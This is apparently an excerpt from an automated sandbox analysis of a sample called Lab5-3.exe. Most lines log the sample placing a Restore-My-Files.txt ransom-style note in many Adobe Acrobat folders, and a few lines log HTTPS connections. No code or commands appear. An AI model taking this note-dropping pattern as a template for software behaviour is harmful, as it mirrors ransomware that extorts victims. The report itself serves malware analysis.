Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\videos\whats_new\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\videos\whats_new\en-us\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\videos\whats_new\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\videos\whats_new\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\videos\whats_new\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\pages-app\js\plugins\rhp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\images\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\images\themes\dark\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\en-gb\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\es-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\eu-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fi-fi\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fr-fr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fr-ma\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\hr-hr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\hu-hu\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\it-it\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ja-jp\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ko-kr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\nb-no\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\nl-nl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\pl-pl\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\pt-br\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ro-ro\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\root\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ru-ru\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\sk-sk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\sl-si\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\sv-se\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\tr-tr\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\uk-ua\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\zh-cn\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\zh-tw\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\css\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ca-es\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\js\nls\cs-cz\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\js\nls\da-dk\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\js\nls\de-de\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\js\nls\en-ae\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\js\nls\en-il\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\scan-files\js\nls\es-es\Restore-My-Files.txt	Jump to behavior

Source: unknown	HTTPS traffic detected: 23.202.106.101:443 -> 192.168.2.4:50245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.202.106.101:443 -> 192.168.2.4:50246 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.4:50247 version: TLS 1.2
